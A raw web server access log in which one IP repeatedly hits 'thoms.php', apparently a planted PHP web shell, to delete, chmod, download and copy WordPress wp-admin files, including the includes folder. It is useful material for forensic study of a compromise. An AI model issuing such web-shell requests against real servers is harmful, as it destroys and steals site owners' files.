45.135.193.11 - - [11/Sep/2026:23:30:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=options-privacy.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:55 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=plugins.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=plugins.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22186 "https://163.245.207.76:443/thoms.php?del=options-privacy.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=plugins.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:56 -0400] "GET /thoms.php?chmod=upgrade-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=upgrade-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=upgrade-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:56 -0400] "GET /thoms.php?dl=upgrade-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=upgrade-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:56 -0400] "GET /thoms.php?del=edit-form-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=edit-form-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:56 -0400] "GET /thoms.php?chmod=link-manager.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=link-manager.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=upgrade-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22255 "https://163.245.207.76:443/thoms.php?del=edit-form-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=link-manager.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:56 -0400] "GET /thoms.php?dl=media-upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=media-upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=media-upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:56 -0400] "GET /thoms.php?del=post-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=post-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:56 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fprivacy-policy-guide.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fprivacy-policy-guide.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:56 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fcustom-background.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fcustom-background.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22132 "https://163.245.207.76:443/thoms.php?del=post-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fprivacy-policy-guide.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fcustom-background.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:56 -0400] "GET /thoms.php?chmod=edit-form-blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=edit-form-blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=edit-form-blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:57 -0400] "GET /thoms.php?del=export-personal-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=export-personal-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:57 -0400] "GET /thoms.php?del=freedoms.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=freedoms.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22255 "https://163.245.207.76:443/thoms.php?del=export-personal-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:57 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fimport.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fimport.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22206 "https://163.245.207.76:443/thoms.php?del=freedoms.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fimport.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:57 -0400] "GET /thoms.php?dl=install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22200 "https://163.245.207.76:443/thoms.php?dl=install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:57 -0400] "GET /thoms.php?dl=admin-footer.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=admin-footer.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:57 -0400] "GET /thoms.php?del=user-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=user-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22071 "https://163.245.207.76:443/thoms.php?dl=admin-footer.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:57 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fadmin-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fadmin-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?del=user-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:57 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=contribute.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=contribute.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fadmin-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=contribute.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:57 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=link.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=link.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:57 -0400] "GET /thoms.php?chmod=theme-install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=theme-install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=link.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:58 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/widgets-form-blocks.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22110 "https://163.245.207.76:443/thoms.php?chmod=theme-install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:58 -0400] "GET /thoms.php?del=upgrade.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=upgrade.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22265 "https://163.245.207.76:443/thoms.php?del=upgrade.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:58 -0400] "GET /thoms.php?del=includes&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=includes&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:58 -0400] "GET /thoms.php?chmod=user&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=user&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:58 -0400] "GET /thoms.php?dl=ms-users.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=ms-users.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=includes&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22248 "https://163.245.207.76:443/thoms.php?chmod=user&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=ms-users.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:58 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fplugin-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fplugin-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fplugin-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:58 -0400] "GET /thoms.php?chmod=post-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=post-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:58 -0400] "GET /thoms.php?chmod=admin-footer.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=admin-footer.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:58 -0400] "GET /thoms.php?dl=link-add.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=link-add.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22233 "https://163.245.207.76:443/thoms.php?chmod=post-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22283 "https://163.245.207.76:443/thoms.php?chmod=admin-footer.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22220 "https://163.245.207.76:443/thoms.php?dl=link-add.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:58 -0400] "GET /thoms.php?del=ms-upgrade-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=ms-upgrade-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?del=ms-upgrade-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:59 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=site-editor.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=site-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:59 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/authorize-application.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:59 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=widgets-form.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=widgets-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=site-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:59 -0400] "GET /thoms.php?chmod=authorize-application.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=authorize-application.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22279 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=widgets-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=authorize-application.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:59 -0400] "GET /thoms.php?del=load-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=load-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=load-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
